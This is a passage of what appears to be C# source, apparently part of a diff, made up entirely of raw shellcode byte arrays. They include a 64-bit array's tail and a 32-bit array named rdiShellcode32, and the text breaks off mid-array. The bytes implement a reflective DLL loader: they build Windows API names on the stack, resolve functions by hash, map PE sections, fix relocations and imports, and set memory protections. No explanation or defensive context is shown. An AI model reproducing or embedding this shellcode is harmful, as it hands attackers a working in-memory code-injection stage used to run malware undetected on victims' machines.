41,0x89,0x44,0x88,0x10,0x41,0x0F,0x11,0x0A,0x41,0x89,0x52,0x10,0x4D,0x8D,0x52,0x14,0x45,0x3B,0xD9,0x72,0x9C,0xEB,0x06,0x8B,0x45,0xB3,0x89,0x45,0x7F,0x8B,0xB7,0x90,0x00,0x00,0x00,0x48,0x03,0xF3,0x8B,0x46,0x0C,0x85,0xC0,0x74,0x7B,0x8B,0x7D,0x7F,0x8B,0xC8,0x48,0x03,0xCB,0x41,0xFF,0xD4,0x44,0x8B,0x3E,0x4C,0x8B,0xE0,0x44,0x8B,0x76,0x10,0x4C,0x03,0xFB,0x4C,0x03,0xF3,0x49,0x8B,0x0F,0x48,0x85,0xC9,0x74,0x2D,0x48,0x8B,0x7D,0xBF,0x79,0x05,0x0F,0xB7,0xD1,0xEB,0x07,0x48,0x8D,0x51,0x02,0x48,0x03,0xD3,0x49,0x8B,0xCC,0xFF,0xD7,0x49,0x83,0xC7,0x08,0x49,0x89,0x06,0x49,0x83,0xC6,0x08,0x49,0x8B,0x0F,0x48,0x85,0xC9,0x75,0xDA,0x8B,0x7D,0x7F,0x45,0x33,0xFF,0x44,0x39,0x7D,0xB3,0x74,0x0F,0x41,0x83,0xFD,0x01,0x76,0x09,0x69,0xCF,0xE8,0x03,0x00,0x00,0xFF,0x55,0xC7,0x8B,0x46,0x20,0x48,0x83,0xC6,0x14,0x4C,0x8B,0x65,0xB7,0x85,0xC0,0x75,0x8C,0x48,0x8B,0x7D,0xCF,0x4C,0x8B,0x6D,0xBF,0x44,0x39,0xBF,0xF4,0x00,0x00,0x00,0x74,0x68,0x44,0x8B,0xB7,0xF0,0x00,0x00,0x00,0x49,0x83,0xC6,0x04,0x4C,0x03,0xF3,0xEB,0x53,0x41,0x8B,0x0E,0x48,0x03,0xCB,0x41,0xFF,0xD4,0x41,0x8B,0x76,0x08,0x4C,0x8B,0xE0,0x45,0x8B,0x7E,0x0C,0x48,0x03,0xF3,0x4C,0x03,0xFB,0xEB,0x25,0x49,0x8B,0x0F,0x48,0x85,0xC9,0x79,0x05,0x0F,0xB7,0xD1,0xEB,0x07,0x48,0x8D,0x51,0x02,0x48,0x03,0xD3,0x49,0x8B,0xCC,0x41,0xFF,0xD5,0x48,0x89,0x06,0x48,0x83,0xC6,0x08,0x49,0x83,0xC7,0x08,0x33,0xC0,0x48,0x39,0x06,0x75,0xD4,0x4C,0x8B,0x65,0xB7,0x49,0x83,0xC6,0x20,0x45,0x33,0xFF,0x45,0x39,0x3E,0x75,0xA8,0x45,0x8B,0xF7,0x0F,0xB7,0x47,0x14,0x41,0xBC,0x01,0x00,0x00,0x00,0x66,0x44,0x3B,0x7F,0x06,0x0F,0x83,0xCF,0x00,0x00,0x00,0x4C,0x8B,0x7D,0xD7,0x48,0x8D,0x77,0x3C,0x48,0x03,0xF0,0x45,0x33,0xC9,0x44,0x39,0x4E,0xEC,0x0F,0x84,0xA0,0x00,0x00,0x00,0x8B,0x0E,0x8B,0xD1,0xC1,0xEA,0x1E,0x8B,0xC1,0x41,0x23,0xD4,0xC1,0xE8,0x1D,0xC1,0xE9,0x1F,0x41,0x23,0xC4,0x75,0x24,0x85,0xD2,0x75,0x0E,0xF7,0xD9,0x45,0x1B,0xC0,0x41,0x83,0xE0,0x07,0x45,0x03,0xC4,0xEB,0x4F,0xF7,0xD9,0xB8,0x02,0x00,0x00,0x00,0x45,0x1B,0xC0,0x44,0x23,0xC0,0x44,0x03,0xC0,0xEB,0x3D,0x85,0xD2,0x75,0x20,0x85,0xC9,0x75,0x06,0x44,0x8D,0x42,0x10,0xEB,0x2F,0x85,0xD2,0x75,0x12,0x85,0xC9,0x74,0x08,0x41,0xB8,0x80,0x00,0x00,0x00,0xEB,0x1F,0x44,0x8B,0x45,0xAF,0xEB,0x1D,0x85,0xC9,0x75,0x06,0x44,0x8D,0x41,0x20,0xEB,0x0F,0x44,0x8B,0x45,0xAF,0x85,0xC9,0xB8,0x40,0x00,0x00,0x00,0x44,0x0F,0x45,0xC0,0x44,0x89,0x45,0xAF,0xF7,0x06,0x00,0x00,0x00,0x04,0x74,0x09,0x41,0x0F,0xBA,0xE8,0x09,0x44,0x89,0x45,0xAF,0x8B,0x4E,0xE8,0x4C,0x8D,0x4D,0xAF,0x8B,0x56,0xEC,0x48,0x03,0xCB,0x41,0xFF,0xD7,0x45,0x33,0xC9,0x0F,0xB7,0x47,0x06,0x45,0x03,0xF4,0x48,0x83,0xC6,0x28,0x44,0x3B,0xF0,0x0F,0x82,0x42,0xFF,0xFF,0xFF,0x45,0x33,0xFF,0x45,0x33,0xC0,0x33,0xD2,0x48,0x83,0xC9,0xFF,0xFF,0x55,0xDF,0x44,0x39,0xBF,0xD4,0x00,0x00,0x00,0x74,0x24,0x8B,0x87,0xD0,0x00,0x00,0x00,0x48,0x8B,0x74,0x18,0x18,0xEB,0x0F,0x45,0x33,0xC0,0x41,0x8B,0xD4,0x48,0x8B,0xCB,0xFF,0xD0,0x48,0x8D,0x76,0x08,0x48,0x8B,0x06,0x48,0x85,0xC0,0x75,0xE9,0x8B,0x47,0x28,0x4D,0x8B,0xC4,0x48,0x03,0xC3,0x41,0x8B,0xD4,0x48,0x8B,0xCB,0xFF,0xD0,0x8B,0x75,0x67,0x85,0xF6,0x0F,0x84,0x96,0x00,0x00,0x00,0x44,0x39,0xBF,0x8C,0x00,0x00,0x00,0x0F,0x84,0x89,0x00,0x00,0x00,0x8B,0x8F,0x88,0x00,0x00,0x00,0x48,0x03,0xCB,0x44,0x8B,0x59,0x18,0x45,0x85,0xDB,0x74,0x77,0x44,0x39,0x79,0x14,0x74,0x71,0x44,0x8B,0x49,0x20,0x41,0x8B,0xFF,0x8B,0x51,0x24,0x4C,0x03,0xCB,0x48,0x03,0xD3,0x45,0x85,0xDB,0x74,0x5C,0x45,0x8B,0x01,0x45,0x8B,0xD7,0x4C,0x03,0xC3,0x74,0x51,0xEB,0x10,0x0F,0xBE,0xC0,0x41,0x03,0xC2,0x44,0x8B,0xD0,0x41,0xC1,0xCA,0x0D,0x4D,0x03,0xC4,0x41,0x8A,0x00,0x84,0xC0,0x75,0xE9,0x41,0x3B,0xF2,0x75,0x05,0x48,0x85,0xD2,0x75,0x16,0xB8,0x02,0x00,0x00,0x00,0x41,0x03,0xFC,0x48,0x03,0xD0,0x49,0x83,0xC1,0x04,0x41,0x3B,0xFB,0x73,0x1A,0xEB,0xBC,0x8B,0x49,0x1C,0x0F,0xB7,0x12,0x48,0x03,0xCB,0x8B,0x04,0x91,0x8B,0x55,0x77,0x48,0x03,0xC3,0x48,0x8B,0x4D,0x6F,0xFF,0xD0,0x48,0x8B,0xC3,0xEB,0x02,0x33,0xC0,0x48,0x8B,0x9C,0x24,0xD0,0x00,0x00,0x00,0x48,0x81,0xC4,0x90,0x00,0x00,0x00,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x5F,0x5E,0x5D,0xC3,0xCC,0xCC,0x48,0x89,0x5C,0x24,0x08,0x48,0x89,0x74,0x24,0x10,0x57,0x48,0x83,0xEC,0x10,0x65,0x48,0x8B,0x04,0x25,0x60,0x00,0x00,0x00,0x8B,0xF1,0x48,0x8B,0x50,0x18,0x4C,0x8B,0x4A,0x10,0x4D,0x8B,0x41,0x30,0x4D,0x85,0xC0,0x0F,0x84,0xB4,0x00,0x00,0x00,0x41,0x0F,0x10,0x41,0x58,0x49,0x63,0x40,0x3C,0x33,0xD2,0x4D,0x8B,0x09,0xF3,0x0F,0x7F,0x04,0x24,0x42,0x8B,0x9C,0x00,0x88,0x00,0x00,0x00,0x85,0xDB,0x74,0xD4,0x48,0x8B,0x04,0x24,0x48,0xC1,0xE8,0x10,0x44,0x0F,0xB7,0xD0,0x45,0x85,0xD2,0x74,0x21,0x48,0x8B,0x4C,0x24,0x08,0x45,0x8B,0xDA,0x0F,0xBE,0x01,0xC1,0xCA,0x0D,0x80,0x39,0x61,0x7C,0x03,0x83,0xC2,0xE0,0x03,0xD0,0x48,0xFF,0xC1,0x49,0x83,0xEB,0x01,0x75,0xE7,0x4D,0x8D,0x14,0x18,0x33,0xC9,0x41,0x8B,0x7A,0x20,0x49,0x03,0xF8,0x41,0x39,0x4A,0x18,0x76,0x8F,0x8B,0x1F,0x45,0x33,0xDB,0x49,0x03,0xD8,0x48,0x8D,0x7F,0x04,0x0F,0xBE,0x03,0x48,0xFF,0xC3,0x41,0xC1,0xCB,0x0D,0x44,0x03,0xD8,0x80,0x7B,0xFF,0x00,0x75,0xED,0x41,0x8D,0x04,0x13,0x3B,0xC6,0x74,0x0D,0xFF,0xC1,0x41,0x3B,0x4A,0x18,0x72,0xD1,0xE9,0x5B,0xFF,0xFF,0xFF,0x41,0x8B,0x42,0x24,0x03,0xC9,0x49,0x03,0xC0,0x0F,0xB7,0x14,0x01,0x41,0x8B,0x4A,0x1C,0x49,0x03,0xC8,0x8B,0x04,0x91,0x49,0x03,0xC0,0xEB,0x02,0x33,0xC0,0x48,0x8B,0x5C,0x24,0x20,0x48,0x8B,0x74,0x24,0x28,0x48,0x83,0xC4,0x10,0x5F,0xC3 }; + var rdiShellcode32 = new byte[] { 0x81,0xEC,0x14,0x01,0x00,0x00,0x53,0x55,0x56,0x57,0x6A,0x6B,0x58,0x6A,0x65,0x66,0x89,0x84,0x24,0xCC,0x00,0x00,0x00,0x33,0xED,0x58,0x6A,0x72,0x59,0x6A,0x6E,0x5B,0x6A,0x6C,0x5A,0x6A,0x33,0x66,0x89,0x84,0x24,0xCE,0x00,0x00,0x00,0x66,0x89,0x84,0x24,0xD4,0x00,0x00,0x00,0x58,0x6A,0x32,0x66,0x89,0x84,0x24,0xD8,0x00,0x00,0x00,0x58,0x6A,0x2E,0x66,0x89,0x84,0x24,0xDA,0x00,0x00,0x00,0x58,0x6A,0x64,0x66,0x89,0x84,0x24,0xDC,0x00,0x00,0x00,0x58,0x89,0xAC,0x24,0xB0,0x00,0x00,0x00,0x89,0x6C,0x24,0x34,0x89,0xAC,0x24,0xB8,0x00,0x00,0x00,0x89,0xAC,0x24,0xC4,0x00,0x00,0x00,0x89,0xAC,0x24,0xB4,0x00,0x00,0x00,0x89,0xAC,0x24,0xAC,0x00,0x00,0x00,0x89,0xAC,0x24,0xE0,0x00,0x00,0x00,0x66,0x89,0x8C,0x24,0xCC,0x00,0x00,0x00,0x66,0x89,0x9C,0x24,0xCE,0x00,0x00,0x00,0x66,0x89,0x94,0x24,0xD2,0x00,0x00,0x00,0x66,0x89,0x84,0x24,0xDA,0x00,0x00,0x00,0x66,0x89,0x94,0x24,0xDC,0x00,0x00,0x00,0x66,0x89,0x94,0x24,0xDE,0x00,0x00,0x00,0xC6,0x44,0x24,0x3C,0x53,0x88,0x54,0x24,0x3D,0x66,0xC7,0x44,0x24,0x3E,0x65,0x65,0xC6,0x44,0x24,0x40,0x70,0x66,0xC7,0x44,0x24,0x50,0x4C,0x6F,0xC6,0x44,0x24,0x52,0x61,0x88,0x44,0x24,0x53,0x66,0xC7,0x44,0x24,0x54,0x4C,0x69,0xC6,0x44,0x24,0x56,0x62,0x88,0x4C,0x24,0x57,0xC6,0x44,0x24,0x58,0x61,0x88,0x4C,0x24,0x59,0x66,0xC7,0x44,0x24,0x5A,0x79,0x41,0x66,0xC7,0x44,0x24,0x44,0x56,0x69,0x88,0x4C,0x24,0x46,0x66,0xC7,0x44,0x24,0x47,0x74,0x75,0xC6,0x44,0x24,0x49,0x61,0x88,0x54,0x24,0x4A,0xC6,0x44,0x24,0x4B,0x41,0x88,0x54,0x24,0x4C,0x88,0x54,0x24,0x4D,0x66,0xC7,0x44,0x24,0x4E,0x6F,0x63,0x66,0xC7,0x44,0x24,0x5C,0x56,0x69,0x88,0x4C,0x24,0x5E,0x66,0xC7,0x44,0x24,0x5F,0x74,0x75,0xC6,0x44,0x24,0x61,0x61,0x88,0x54,0x24,0x62,0xC6,0x44,0x24,0x63,0x50,0x88,0x4C,0x24,0x64,0xC7,0x44,0x24,0x65,0x6F,0x74,0x65,0x63,0xC6,0x44,0x24,0x69,0x74,0xC6,0x84,0x24,0x94,0x00,0x00,0x00,0x46,0x88,0x94,0x24,0x95,0x00,0x00,0x00,0xC7,0x84,0x24,0x96,0x00,0x00,0x00,0x75,0x73,0x68,0x49,0x88,0x9C,0x24,0x9A,0x00,0x00,0x00,0x66,0xC7,0x84,0x24,0x9B,0x00,0x00,0x00,0x73,0x74,0x88,0x8C,0x24,0x9D,0x00,0x00,0x00,0xC7,0x84,0x24,0x9E,0x00,0x00,0x00,0x75,0x63,0x74,0x69,0xC6,0x84,0x24,0xA2,0x00,0x00,0x00,0x6F,0x6A,0x65,0x59,0x88,0x8C,0x24,0xA8,0x00,0x00,0x00,0x88,0x4C,0x24,0x6D,0x88,0x4C,0x24,0x74,0x88,0x4C,0x24,0x79,0x88,0x8C,0x24,0x92,0x00,0x00,0x00,0xB9,0x13,0x9C,0xBF,0xBD,0x88,0x9C,0x24,0xA3,0x00,0x00,0x00,0xC7,0x84,0x24,0xA4,0x00,0x00,0x00,0x43,0x61,0x63,0x68,0xC6,0x44,0x24,0x6C,0x47,0xC7,0x44,0x24,0x6E,0x74,0x4E,0x61,0x74,0x66,0xC7,0x44,0x24,0x72,0x69,0x76,0xC7,0x44,0x24,0x75,0x53,0x79,0x73,0x74,0x66,0xC7,0x44,0x24,0x7A,0x6D,0x49,0x88,0x5C,0x24,0x7C,0x66,0xC7,0x44,0x24,0x7D,0x66,0x6F,0x66,0xC7,0x84,0x24,0x80,0x00,0x00,0x00,0x52,0x74,0x88,0x94,0x24,0x82,0x00,0x00,0x00,0xC6,0x84,0x24,0x83,0x00,0x00,0x00,0x41,0x88,0x84,0x24,0x84,0x00,0x00,0x00,0x88,0x84,0x24,0x85,0x00,0x00,0x00,0x66,0xC7,0x84,0x24,0x86,0x00,0x00,0x00,0x46,0x75,0x88,0x9C,0x24,0x88,0x00,0x00,0x00,0xC7,0x84,0x24,0x89,0x00,0x00,0x00,0x63,0x74,0x69,0x6F,0x88,0x9C,0x24,0x8D,0x00,0x00,0x00,0x66,0xC7,0x84,0x24,0x8E,0x00,0x00,0x00,0x54,0x61,0xC6,0x84,0x24,0x90,0x00,0x00,0x00,0x62,0x88,0x94,0x24,0x91,0x00,0x00,0x00,0xE8,0x77,0x08,0x00,0x00,0xB9,0xB5,0x41,0xD9,0x5E,0x8B,0xF0,0xE8,0x6B,0x08,0x00,0x00,0x8B,0xD8,0x8D,0x84,0x24,0xC8,0x00,0x00,0x00,0x6A,0x18,0x89,0x84,0x24,0xEC,0x00,0x00,0x00,0x58,0x66,0x89,0x84,0x24,0xE6,0x00,0x00,0x00,0x66,0x89,0x84,0x24,0xE4,0x00,0x00,0x00,0x8D,0x44,0x24,0x1C,0x50,0x8D,0x84,0x24,0xE8,0x00,0x00,0x00,0x89,0x5C,0x24,0x34,0x50,0x55,0x55,0xFF,0xD6,0x6A,0x0C,0x5F,0x8D,0x44,0x24,0x44,0x66,0x89,0x7C,0x24,0x14,0x89,0x44,0x24,0x18,0x8D,0x44,0x24,0x34,0x50,0x55,0x8D,0x44,0x24,0x1C,0x66,0x89,0x7C,0x24,0x1E,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x6A,0x0E,0x58,0x66,0x89,0x44,0x24,0x14,0x66,0x89,0x44,0x24,0x16,0x8D,0x44,0x24,0x5C,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xB4,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x6A,0x15,0x58,0x66,0x89,0x44,0x24,0x14,0x66,0x89,0x44,0x24,0x16,0x8D,0x84,0x24,0x94,0x00,0x00,0x00,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xB8,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x6A,0x13,0x5E,0x8D,0x44,0x24,0x6C,0x66,0x89,0x74,0x24,0x14,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xC4,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x66,0x89,0x74,0x24,0x1E,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x6A,0x05,0x58,0x66,0x89,0x44,0x24,0x14,0x66,0x89,0x44,0x24,0x16,0x8D,0x44,0x24,0x3C,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xAC,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x8D,0x84,0x24,0x80,0x00,0x00,0x00,0x66,0x89,0x74,0x24,0x14,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xE0,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x66,0x89,0x74,0x24,0x1E,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x8D,0x44,0x24,0x50,0x66,0x89,0x7C,0x24,0x14,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xB0,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x66,0x89,0x7C,0x24,0x1E,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x39,0x6C,0x24,0x34,0x0F,0x84,0x00,0x07,0x00,0x00,0x39,0xAC,0x24,0xB4,0x00,0x00,0x00,0x0F,0x84,0xF3,0x06,0x00,0x00,0x39,0xAC,0x24,0xAC,0x00,0x00,0x00,0x0F,0x84,0xE6,0x06,0x00,0x00,0x39,0xAC,0x24,0xB8,0x00,0x00,0x00,0x0F,0x84,0xD9,0x06,0x00,0x00,0x8B,0xAC,0x24,0xC4,0x00,0x00,0x00,0x85,0xED,0x0F,0x84,0xCA,0x06,0x00,0x00,0x8B,0xBC,0x24,0x28,0x01,0x00,0x00,0x8B,0x77,0x3C,0x03,0xF7,0x81,0x3E,0x50,0x45,0x00,0x00,0x0F,0x85,0xB2,0x06,0x00,0x00,0xB8,0x4C,0x01,0x00,0x00,0x66,0x39,0x46,0x04,0x0F,0x85,0xA3,0x06,0x00,0x00,0xF6,0x46,0x38,0x01,0x0F,0x85,0x99,0x06,0x00,0x00,0x0F,0xB7,0x4E,0x14,0x33,0xDB,0x0F,0xB7,0x56,0x06,0x83,0xC1,0x24,0x85,0xD2,0x74,0x1E,0x03,0xCE,0x83,0x79,0x04,0x00,0x8B,0x46,0x38,0x0F,0x45,0x41,0x04,0x03,0x01,0x8D,0x49,0x28,0x3B,0xC3,0x0F,0x46,0xC3,0x8B,0xD8,0x83,0xEA,0x01,0x75,0xE4,0x8D,0x84,0x24,0x00,0x01,0x00,0x00,0x50,0xFF,0xD5,0x8B,0x8C,0x24,0x04,0x01,0x00,0x00,0x8D,0x51,0xFF,0x8D,0x69,0xFF,0xF7,0xD2,0x03,0x6E,0x50,0x8D,0x41,0xFF,0x03,0xC3,0x23,0xEA,0x23,0xC2,0x3B,0xE8,0x0F,0x85,0x3D,0x06,0x00,0x00,0x6A,0x04,0x68,0x00,0x30,0x00,0x00,0x55,0xFF,0x76,0x34,0xFF,0x54,0x24,0x44,0x8B,0xD8,0x89,0x5C,0x24,0x2C,0x85,0xDB,0x75,0x13,0x6A,0x04,0x68,0x00,0x30,0x00,0x00,0x55,0x50,0xFF,0x54,0x24,0x44,0x8B,0xD8,0x89,0x44,0x24,0x2C,0xF6,0x84,0x24,0x38,0x01,0x00,0x00,0x01,0x74,0x23,0x8B,0x47,0x3C,0x89,0x43,0x3C,0x8B,0x4F,0x3C,0x3B,0x4E,0x54,0x73,0x2E,0x8B,0xEF,0x8D,0x14,0x0B,0x2B,0xEB,0x8A,0x04,0x2A,0x41,0x88,0x02,0x42,0x3B,0x4E,0x54,0x72,0xF4,0xEB,0x19,0x33,0xED,0x39,0x6E,0x54,0x76,0x12,0x8B,0xD7,0x8B,0xCB,0x2B,0xD3,0x8A,0x04,0x11,0x45,0x88,0x01,0x41,0x3B,0x6E,0x54,0x72,0xF4,0x8B,0x6B,0x3C,0x33,0xC9,0x03,0xEB,0x89,0x4C,0x24,0x10,0x33,0xC0,0x89,0x6C,0x24,0x28,0x0F,0xB7,0x55,0x14,0x83,0xC2,0x28,0x66,0x3B,0x45,0x06,0x73,0x31,0x03,0xD5,0x33,0xF6,0x39,0x32,0x76,0x19,0x8B,0x42,0x04,0x8B,0x4A,0xFC,0x03,0xC6,0x03,0xCB,0x8A,0x04,0x38,0x88,0x04,0x31,0x46,0x3B,0x32,0x72,0xEB,0x8B,0x4C,0x24,0x10,0x0F,0xB7,0x45,0x06,0x41,0x83,0xC2,0x28,0x89,0x4C,0x24,0x10,0x3B,0xC8,0x72,0xD1,0x8B,0xC3,0xC7,0x84,0x24,0xBC,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x2B,0x45,0x34,0x89,0x44,0x24,0x24,0x0F,0x84,0xC4,0x00,0x00,0x00,0x83,0xBD,0xA4,0x00,0x00,0x00,0x00,0x0F,0x84,0xB7,0x00,0x00,0x00,0x8B,0xB5,0xA0,0x00,0x00,0x00,0x03,0xF3,0x83,0x3E,0x00,0x0F,0x84,0xA6,0x00,0x00,0x00,0x6A,0x02,0x8B,0xF8,0x5D,0x8D,0x56,0x08,0xEB,0x75,0x0F,0xB7,0x02,0x89,0x44,0x24,0x10,0x0F,0xB7,0xC8,0x66,0xC1,0xE8,0x0C,0x66,0x83,0xF8,0x0A,0x75,0x28,0x8B,0x16,0x8B,0x4C,0x24,0x10,0x81,0xE1,0xFF,0x0F,0x00,0x00,0x89,0x4C,0x24,0x10,0x8D,0x04,0x1A,0x8B,0x0C,0x08,0x8D,0x04,0x1A,0x8B,0x54,0x24,0x10,0x03,0xCF,0x89,0x0C,0x10,0x8B,0x54,0x24,0x24,0xEB,0x37,0x66,0x83,0xF8,0x03,0x75,0x0D,0x81,0xE1,0xFF,0x0F,0x00,0x00,0x03,0x0E,0x01,0x3C,0x19,0xEB,0x24,0x66,0x3B,0x84,0x24,0xBC,0x00,0x00,0x00,0x75,0x07,0x8B,0xC7,0xC1,0xE8,0x10,0xEB,0x08,0x66,0x3B,0xC5,0x75,0x0E,0x0F,0xB7,0xC7,0x81,0xE1,0xFF,0x0F,0x00,0x00,0x03,0x0E,0x01,0x04,0x19,0x03,0xD5,0x8B,0x46,0x04,0x03,0xC6,0x89,0x54,0x24,0x24,0x3B,0xD0,0x0F,0x85,0x7A,0xFF,0xFF,0xFF,0x83,0x3A,0x00,0x8B,0xF2,0x0F,0x85,0x6A,0xFF,0xFF,0xFF,0x8B,0x6C,0x24,0x28,0x8B,0xBC,0x24,0x28,0x01,0x00,0x00,0x83,0xBD,0x84,0x00,0x00,0x00,0x00,0x0F,0x84,0xD7,0x01,0x00,0x00,0x8B,0xB5,0x80,0x00,0x00,0x00,0x33,0xC0,0x89,0x44,0x24,0x10,0x8D,0x0C,0x1E,0x89,0x4C,0x24,0x24,0x83,0xC1,0x0C,0x39,0x01,0x74,0x0D,0x8D,0x49,0x14,0x40,0x83,0x39,0x00,0x75,0xF7,0x89,0x44,0x24,0x10,0x8B,0x8C,0x24,0x38,0x01,0x00,0x00,0x8B,0xD1,0x83,0xE2,0x04,0x89,0x54,0x24,0x38,0x8B,0xD6,0x0F,0x84,0xC3,0x00,0x00,0x00,0x83,0xF8,0x01,0x0F,0x86,0xBA,0x00,0x00,0x00,0x83,0xA4,0x24,0xBC,0x00,0x00,0x00,0x00,0xC1,0xE9,0x10,0x89,0x8C,0x24,0x38,0x01,0x00,0x00,0x8D,0x48,0xFF,0x89,0x8C,0x24,0xC0,0x00,0x00,0x00,0x85,0xC9,0x0F,0x84,0xA1,0x00,0x00,0x00,0x8B,0x74,0x24,0x24,0x8B,0xDE,0x8B,0xAC,0x24,0xBC,0x00,0x00,0x00,0x8B,0xC8,0x69,0xFF,0xFD,0x43,0x03,0x00,0x2B,0xCD,0x33,0xD2,0xB8,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x81,0xC7,0xC3,0x9E,0x26,0x00,0x33,0xD2,0x89,0xBC,0x24,0x28,0x01,0x00,0x00,0x6A,0x05,0x8D,0x48,0x01,0x8B,0xC7,0xC1,0xE8,0x10,0x8D,0xBC,0x24,0xF0,0x00,0x00,0x00,0x25,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x59,0x03,0xC5,0x6B,0xC0,0x14,0x6A,0x05,0x03,0xC6,0x45,0x8B,0xF0,0xF3,0xA5,0x59,0x8B,0xF3,0x8B,0xF8,0x8B,0x44,0x24,0x10,0xF3,0xA5,0x6A,0x05,0x8B,0xFB,0x8D,0xB4,0x24,0xF0,0x00,0x00,0x00,0x59,0xF3,0xA5,0x8B,0xBC,0x24,0x28,0x01,0x00,0x00,0x83,0xC3,0x14,0x8B,0x74,0x24,0x24,0x3B,0xAC,0x24,0xC0,0x00,0x00,0x00,0x72,0x87,0x8B,0x6C,0x24,0x28,0x8B,0x5C,0x24,0x2C,0x8B,0x95,0x80,0x00,0x00,0x00,0xEB,0x0B,0x8B,0x44,0x24,0x38,0x89,0x84,0x24,0x38,0x01,0x00,0x00,0x8D,0x3C,0x1A,0x8B,0x47,0x0C,0x89,0x7C,0x24,0x2C,0x85,0xC0,0x0F,0x84,0xB8,0x00,0x00,0x00,0x03,0xC3,0x50,0xFF,0x94,0x24,0xB4,0x00,0x00,0x00,0x8B,0xD0,0x89,0x54,0x24,0x1C,0x8B,0x37,0x8B,0x6F,0x10,0x03,0xF3,0x03,0xEB,0x8B,0x0E,0x85,0xC9,0x74,0x60,0x8B,0x7C,0x24,0x30,0x85,0xC9,0x79,0x09,0x0F,0xB7,0x06,0x55,0x50,0x6A,0x00,0xEB,0x36,0x83,0xC1,0x02,0x33,0xC0,0x03,0xCB,0x89,0x8C,0x24,0xC0,0x00,0x00,0x00,0x38,0x01,0x74,0x0E,0x40,0x41,0x80,0x39,0x00,0x75,0xF9,0x8B,0x8C,0x24,0xC0,0x00,0x00,0x00,0x55,0x66,0x89,0x44,0x24,0x18,0x66,0x89,0x44,0x24,0x1A,0x8D,0x44,0x24,0x18,0x6A,0x00,0x89,0x4C,0x24,0x20,0x50,0x52,0xFF,0xD7,0x83,0xC6,0x04,0x83,0xC5,0x04,0x8B,0x0E,0x85,0xC9,0x74,0x06,0x8B,0x54,0x24,0x1C,0xEB,0xA8,0x8B,0x7C,0x24,0x2C,0x83,0x7C,0x24,0x38,0x00,0x74,0x1C,0x33,0xC0,0x40,0x39,0x44,0x24,0x10,0x76,0x13,0x69,0x84,0x24,0x38,0x01,0x00,0x00,0xE8,0x03,0x00,0x00,0x50,0xFF,0x94,0x24,0xB0,0x00,0x00,0x00,0x8B,0x47,0x20,0x83,0xC7,0x14,0x89,0x7C,0x24,0x2C,0x85,0xC0,0x0F,0x85,0x4C,0xFF,0xFF,0xFF,0x8B,0x6C,0x24,0x28,0x83,0xBD,0xE4,0x00,0x00,0x00,0x00,0x0F,0x84,0xAD,0x00,0x00,0x00,0x8B,0x85,0xE0,0x00,0x00,0x00,0x83,0xC0,0x04,0x03,0xC3,0x89,0x44,0x24,0x10,0x8B,0x00,0x85,0xC0,0x0F,0x84,0x94,0x00,0x00,0x00,0x8B,0x6C,0x24,0x10,0x03,0xC3,0x50,0xFF,0x94,0x24,0xB4,0x00,0x00,0x00,0x8B,0xC8,0x89,0x4C,0x24,0x1C,0x8B,0x75,0x08,0x8B,0x7D,0x0C,0x03,0xF3,0x03,0xFB,0x83,0x3E,0x00,0x74,0x5B,0x8B,0x6C,0x24,0x30,0x8B,0x17,0x85,0xD2,0x79,0x09,0x56,0x0F,0xB7,0xC2,0x50,0x6A,0x00,0xEB,0x30,0x83,0xC2,0x02,0x33,0xC0,0x03,0xD3,0x89,0x54,0x24,0x38,0x38,0x02,0x74,0x0B,0x40,0x42,0x80,0x3A,0x00,0x75,0xF9,0x8B,0x54,0x24,0x38,0x56,0x66,0x89,0x44,0x24,0x18,0x66,0x89,0x44,0x24,0x1A,0x8D,0x44,0x24,0x18,0x6A,0x00,0x89,0x54,0x24,0x20,0x50,0x51,0xFF,0xD5,0x83,0xC6,0x04,0x83,0xC7,0x04,0x83,0x3E,0x00,0x74,0x06,0x8B,0x4C,0x24,0x1C,0xEB,0xAD,0x8B,0x6C,0x24,0x10,0x83,0xC5,0x20,0x89,0x6C,0x24,0x10,0x8B,0x45,0x00,0x85,0xC0,0x0F,0x85,0x74,0xFF,0xFF,0xFF,0x8B,0x6C,0x24,0x28,0x0F,0xB7,0x75,0x14,0x33,0xC0,0x83,0xC6,0x28,0x33,0xFF,0x66,0x3B,0x45,0x06,0x0F,0x83,0xE5,0x00,0x00,0x00,0x03,0xF5,0xBA,0x00,0x00,0x00,0x40,0x83,0x3E,0x00,0x0F,0x84,0xC5,0x00,0x00,0x00,0x8B,0x4E,0x14,0x8B,0xC1,0x25,0x00,0x00,0x00,0x20,0x75,0x0B,0x85,0xCA,0x75,0x07,0x85,0xC9,0x78,0x03,0x40,0xEB,0x62,0x85,0xC0,0x75,0x30,0x85,0xCA,0x75,0x08,0x85,0xC9,0x79,0x04,0x6A,0x08,0xEB,0x51,0x85,0xC0,0x75,0x20,0x85,0xCA,0x74,0x08,0x85,0xC9,0x78,0x04,0x6A,0x02,0xEB,0x41,0x85,0xC0,0x75,0x10,0x85,0xCA,0x74,0x08,0x85,0xC9,0x79,0x04,0x6A,0x04,0xEB,0x31,0x85,0xC0,0x74,0x4A,0x85,0xCA,0x75,0x08,0x85,0xC9,0x78,0x04,0x6A,0x10,0xEB,0x21,0x85,0xC0,0x74,0x3A,0x85,0xCA,0x75,0x0B,0x85,0xC9,0x79,0x07